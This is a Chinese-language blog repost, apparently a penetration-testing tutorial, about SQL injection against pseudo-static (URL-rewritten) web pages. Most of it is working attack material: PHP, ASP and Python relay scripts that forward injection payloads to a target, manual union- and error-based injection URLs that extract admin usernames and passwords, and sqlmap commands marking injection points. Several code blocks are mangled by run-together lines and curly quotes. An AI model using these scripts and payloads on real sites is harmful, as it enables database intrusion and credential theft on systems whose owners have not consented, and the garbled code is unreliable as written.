伪静态注入的总结

news/2025/1/9 2:30:07/文章来源:https://www.cnblogs.com/xiaoyus/p/18418561

伪静态页面渗透

在日常的测试中，经常会遇到静态页面，尤其是政府类的站点（前提经过授权），此时就会非常的棘手，在下多试验后，发现以下思路或可以帮助我们跨越这个障碍。

伪静态即是网站本身是动态网页如.php、.asp、.aspx等格式动态网页有时这类动态网页还跟“?”加参数来读取数据库内不同资料。很典型的案例即是discuz论坛系统，后台就有一个设置伪静态功能，开启伪静态后，动态网页即被转换重写成静态网页类型页面，通过浏览器访问地址和真的静态页面没区别。前提服务器支持伪静态重写URL Rewrite功能

判断方法

在浏览器里控制台（console),输入代码或粘贴js代码

alert(document.lastModified); 回车执行，会弹出一个弹窗。

image-20240914095932187

重新刷新网页，再用相同的方法在控制台里输入查询代码，再查看文件的最后修改时间，如果发现时间不同则可以判断它是伪静态。

image-20240914100039887

如果是伪静态页面，可以尝试将其变成动态页面。伪静态的话只是由动态转成了静态，从地址上你是可以看到转递参数的，比如phpweb，它的链接是这样的：news/?123.html，这个你可以理解成news.php?id=123。所以你可以news/?123*.html这样提交。或者可以进行伪静态中转。（伪静态中转注入总结：博客园地址）

入侵的大概思维方式

对搜索框进行测试（注入测试）
对登录处进行测试（万能密码、注入）
对站点进行目录扫描（发现其他突破口）
从C段下手

一：中转注入法

1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了

http://www.xxx.com/news.php/id/1.html

2.测试步骤：

中转注入的php代码:inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3.本地环境搭建PHP，然后访问http://127.0.0.1/inject.php?id=1

通过sqlmap或者havj可以跑注入漏洞。

附录ASP中转代码：

<strong><font style="font-size: 12pt"><code id="code1"><%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
'JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串，cookie，referer字段Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End FunctionFunction bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End FunctionFunction URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符,
'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
'vstrin=Replace(vstrin,chr(43),"%2B")  'JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  '在此增加要过滤的代码 //这里很关键，方便啊，把空格自动换成/**/，后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function%></code></font></strong>

二、手工注入法

1.http://www.xxx.com/play/Diablo.html

http://www.xxx.com/down/html/?772.html

2.测试注入：

http://www.xxx.com/down/html/?772′.html

http://www.xxx.com /play/Diablo'.html

http://www.xxx.com/play/Diablo'//and
//1='1 /*.html

http://www.xxx.com/play/Diablo'
//and
//1='2 /*.html

http://www.xxx.com/page/html/?56′//and//1=1/*.html 正常

http://www.xxx.com/page/html/?56′//and//1=2/*.html 出错

3.看页面是否存在差异，相同则不存在，不同存在注入。

4.联合查询：

http://www.xxx.com/play/diablo’ and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html

http://www.xxx.com/page/html/?56'//and//(SELECT//1//from//(select//count(),concat(floor(rand(0)2),(substring((select(version())),1,62)))a//from//information_schema.tables//group//by/**/a)b)=1/*.html

三、手工注入法（二）

http://www.xxx.net/news/html/?410.html

http://www.xxx.net/news/html/?410'union//select//1//from//(select//count(),concat(floor(rand(0)2),0x3a,(select//concat(user,0x3a,password)//from//pwn_base_admin//limit//0,1),0x3a)a//from//information_schema.tables//group//by//a)b//where'1'='1.html

注：

伪静态的注入和URL的普通GET注入不太相同
。普通url的get注入的%20,%23,+等都可以用；但是伪静态不行，会被直接传递到到url中，所以用/**/这个注释符号表示空格。

三、SQLmap方法

在sqlmap中伪静态哪儿存在注入点就加*

http://www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″

http://www.xxx.com/news/class/?103.htm

python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”

四、python脚本方法

代码一：

<code id="code3">from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):def do_GET(self):path=self.pathpath=path[path.find('id=')+3:]proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})opener = urllib2.build_opener(proxy_support)urllib2.install_opener(opener)url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"try:response=urllib2.urlopen(url+path)html=response.read()except urllib2.URLError,e:html=e.read()self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()</code>

转载：https://www.cnblogs.com/jsq16/p/5942003.html

https://blog.csdn.net/qq_41545233/article/details/106713530

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/799367.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

文件上传10种waf绕过姿势

文件上传10种waf绕过姿势

基础篇：https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg 环境搭建 首先去官网下载安全狗，进行网站配置，或者后台回复【安全狗】，靶场源码和waf软件都准备好了，都是最新版本的，直接下载就行安全狗配置文件防护规则这里用upload-labs中的第六关进行文件上传测试第六关是…
阅读更多...
什么是域？如何搭建？

什么是域？如何搭建？

域 域是计算机网络中的一个逻辑组织单元，具有安全边界，实现资源的集中管理和共享。它通常分为，单域 ，多域，父域，子域 ，域树（tree）， 域森林（forest），DNS域名服务器。 单域和多域 单域指网络中所有计算机和用户隶属于同一域，便于集中管理；多域则将网络划分为多个独…
阅读更多...
css布局之Grid布局

css布局之Grid布局

前言 最近了解到一种新的布局：grid布局（网格布局），grid并不是最近才看到的，以前在设置display的时候，会在属性值列表中看到，但却没有给过太多关注。一次偶然机会听到：对于九宫格布局的实现，grid布局会比flex布局实现起来更方便，作为flex深度使用者，这句话无疑引起了…
阅读更多...
windows安装OpenSSL定义OPENSSL_MODULES

windows安装OpenSSL定义OPENSSL_MODULES

一、安装方式一： 1.1 下载和安装下载其他人做的便捷版安装包http://slproweb.com/products/Win32OpenSSL.html 1.2 配置环境变量：OPENSSL_HOME 1.3 配置环境变量：OPENSSL_MODULES
阅读更多...
Ros2 - Moveit2 - 使用 Bullet 进行碰撞检查

Ros2 - Moveit2 - 使用 Bullet 进行碰撞检查

除了灵活碰撞库 (FCL) 之外，Bullet 碰撞检测也可用作碰撞检查器。本教程以可视化碰撞教程为基础，展示碰撞。 此外，还提供连续碰撞检测（CCD），并通过 Bullet 进行演示。 入门 如果您还没有这样做，请确保您已经完成入门指南中的步骤。 运行代码 使用 Roslaunch 启动文件直接…
阅读更多...
广播数据包报文格式

广播数据包报文格式

BLE报文由不同的域组成，如果域的长度超过一个字节，就涉及到先传输字节的低位还是高位的问题，这里分字节序和比特序： 字节序：大多数的多字节域都是从低字节开始传输。但是，并不是所有的多字节域都是从低字节开始传输。 比特序：各个字节传输时，每个字节都是从低位开始。前…
阅读更多...
Java 23连夜官宣发布，IDEA亲测可用！

Java 23连夜官宣发布，IDEA亲测可用！

0 前言 官宣发布：IDEA已支持下载：1 JEPs JEP 455 Primitive Types in Patterns, instanceof, and switch (Preview) 通过允许在所有模式上下文中使用原始类型模式，增强了模式匹配，并扩展了 instanceof 和 switch 以适用于所有原始类型。这是一项预览语言特性。 JEP 466 C…
阅读更多...
Numercial result of ADFP

Numercial result of ADFP

阅读更多...
ubuntu编译grpc protobuf

ubuntu编译grpc protobuf

参考：Ubuntu系统中本地编译并安装grpc的C++版本及测试 - 知乎 (zhihu.com) 安装依赖：# 这些可能都已经安装了 sudo apt-get install pkg-config autoconf automake libtool make g++ unzip # 下面的可能没安装 sudo apt-get install libgflags-dev libgtest-dev sudo apt-ge…
阅读更多...
python-逻辑运算符对应的函数

python-逻辑运算符对应的函数

__eq__(self, other)：用于 == 操作符__ne__(self, other)：用于 != 操作符__lt__(self, other)：用于 < 操作符__le__(self, other)：用于 <= 操作符__gt__(self, other)：用于 > 操作符__ge__(self, other)：用于 >= 操作符
阅读更多...
python-算数运算符对应的函数

python-算数运算符对应的函数

__add__(self, other)： 用于 + 操作符__sub__(self, other)： 用于 - 操作符__mul__(self, other)： 用于 * 操作符__truediv__(self, other)： 用于 / 操作符__floordiv__(self, other)：用于 // 操作符__mod__(self, other)： 用于 % 操作符__pow__(sel…
阅读更多...
Python 命令跳转微软应用商店问题解决办法

Python 命令跳转微软应用商店问题解决办法

除环境变量外的另一个解决办法。最常见的解决办法就是在环境变量中将 Python 安装路径上移至 %USERPROFILE%\AppData\Local\Microsoft\WindowsApps 路径前。 但是有时候这个办法也无法起效，那么此时可以进入系统设置中，将应用执行别名中的 python 项关闭。 其路径在：应用 &…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023